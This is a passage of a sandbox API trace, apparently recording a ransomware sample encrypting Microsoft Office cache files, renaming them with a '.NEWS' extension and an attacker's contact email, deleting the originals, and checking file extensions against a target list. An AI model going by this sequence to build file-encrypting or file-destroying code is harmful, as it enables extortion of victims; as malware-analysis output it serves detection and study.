(hObject=0x190) returned 1 [0066.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0066.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0066.712] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.712] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.712] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.712] GetLastError () returned 0x0 [0066.712] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0066.945] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0068.523] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0068.523] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0068.524] SetEndOfFile (hFile=0x1f4) returned 1 [0068.524] CloseHandle (hObject=0x1f4) returned 1 [0068.524] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0068.524] SetEndOfFile (hFile=0x190) returned 1 [0068.563] CloseHandle (hObject=0x190) returned 1 [0068.563] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0068.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0068.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.563] lstrlenW (lpString=".doc") returned 4 [0068.563] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.564] lstrlenW (lpString=".docx") returned 5 [0068.564] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0068.564] lstrlenW (lpString=".pdf") returned 4 [0068.564] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.564] lstrlenW (lpString=".xls") returned 4 [0068.564] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.564] lstrlenW (lpString=".xlsx") returned 5 [0068.564] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0068.564] lstrlenW (lpString=".ppt") returned 4 [0068.564] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.564] lstrlenW (lpString=".zip") returned 4 [0068.564] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.564] lstrlenW (lpString=".rar") returned 4 [0068.564] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.564] lstrlenW (lpString=".bz2") returned 4 [0068.564] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.564] lstrlenW (lpString=".7z") returned 3 [0068.564] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.565] lstrlenW (lpString=".dbf") returned 4 [0068.565] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.565] lstrlenW (lpString=".1cd") returned 4 [0068.565] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.565] lstrlenW (lpString=".jpg") returned 4 [0068.565] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.565] lstrlenW (lpString=".doc") returned 4 [0068.565] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0068.565] lstrlenW (lpString=".docx") returned 5 [0068.565] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0068.565] lstrlenW (lpString=".pdf") returned 4 [0068.565] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0068.565] lstrlenW (lpString=".xls") returned 4 [0068.565] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0068.565] lstrlenW (lpString=".xlsx") returned 5 [0068.566] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0068.566] lstrlenW (lpString=".ppt") returned 4 [0068.566] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0068.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.566] lstrlenW (lpString=".zip") returned 4 [0068.566] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0068.566] lstrlenW (lpString=".rar") returned 4 [0068.566] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0068.566] lstrlenW (lpString=".bz2") returned 4 [0068.566] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0068.566] lstrlenW (lpString=".7z") returned 3 [0068.566] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0068.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.566] lstrlenW (lpString=".dbf") returned 4 [0068.566] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0068.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.566] lstrlenW (lpString=".1cd") returned 4 [0068.566] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0068.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0068.566] lstrlenW (lpString=".jpg") returned 4 [0068.566] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.567] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0068.567] lstrlenW (lpString="osetup.dll") returned 10 [0068.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0068.567] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=7378792) returned 1 [0068.567] CloseHandle (hObject=0x190) returned 1 [0068.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0068.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.568] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0068.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0068.568] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x190, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.988] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.988] ReadFile (in: hFile=0x190, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0068.999] ReadFile (in: hFile=0x190, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0069.316] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.316] WriteFile (in: hFile=0x190, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0069.345] SetEndOfFile (hFile=0x190) returned 1 [0069.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0069.354] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0069.354] WriteFile (in: hFile=0x190, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.499] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.499] WriteFile (in: hFile=0x190, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.503] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0070.503] WriteFile (in: hFile=0x190, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0070.506] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0070.506] CloseHandle (hObject=0x190) returned 1 [0070.506] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0070.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.507] lstrlenW (lpString=".doc") returned 4 [0070.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString=".docx") returned 5 [0070.507] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0070.507] lstrlenW (lpString=".pdf") returned 4 [0070.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString=".xls") returned 4 [0070.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString=".xlsx") returned 5 [0070.507] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0070.507] lstrlenW (lpString=".ppt") returned 4 [0070.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.507] lstrlenW (lpString=".zip") returned 4 [0070.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString=".rar") returned 4 [0070.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.507] lstrlenW (lpString=".bz2") returned 4 [0070.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.507] lstrlenW (lpString=".7z") returned 3 [0070.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString=".dbf") returned 4 [0070.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString=".1cd") returned 4 [0070.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString=".jpg") returned 4 [0070.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString=".doc") returned 4 [0070.508] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString=".docx") returned 5 [0070.508] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0070.508] lstrlenW (lpString=".pdf") returned 4 [0070.508] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString=".xls") returned 4 [0070.508] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString=".xlsx") returned 5 [0070.508] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0070.508] lstrlenW (lpString=".ppt") returned 4 [0070.508] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.508] lstrlenW (lpString=".zip") returned 4 [0070.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.508] lstrlenW (lpString=".rar") returned 4 [0070.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.509] lstrlenW (lpString=".bz2") returned 4 [0070.509] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.509] lstrlenW (lpString=".7z") returned 3 [0070.509] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.509] lstrlenW (lpString=".dbf") returned 4 [0070.509] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.509] lstrlenW (lpString=".1cd") returned 4 [0070.509] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0070.509] lstrlenW (lpString=".jpg") returned 4 [0070.509] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.509] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0070.509] lstrlenW (lpString="ProPrWW.cab") returned 11 [0070.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.601] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=177720283) returned 1 [0070.601] CloseHandle (hObject=0x200) returned 1 [0070.601] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0070.602] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0070.612] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0070.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.613] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0070.613] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.613] ReadFile (in: hFile=0x200, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.663] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.664] ReadFile (in: hFile=0x200, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.680] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.680] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0070.680] ReadFile (in: hFile=0x200, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.711] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.711] WriteFile (in: hFile=0x200, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0070.894] SetEndOfFile (hFile=0x200) returned 1 [0071.216] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0071.235] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.235] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.237] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.237] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.238] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.238] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0071.243] CloseHandle (hObject=0x200) returned 1 [0071.243] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.454] lstrlenW (lpString=".doc") returned 4 [0071.454] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.454] lstrlenW (lpString=".docx") returned 5 [0071.454] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0071.454] lstrlenW (lpString=".pdf") returned 4 [0071.454] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.454] lstrlenW (lpString=".xls") returned 4 [0071.454] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.454] lstrlenW (lpString=".xlsx") returned 5 [0071.455] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0071.455] lstrlenW (lpString=".ppt") returned 4 [0071.455] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.455] lstrlenW (lpString=".zip") returned 4 [0071.455] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.455] lstrlenW (lpString=".rar") returned 4 [0071.455] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 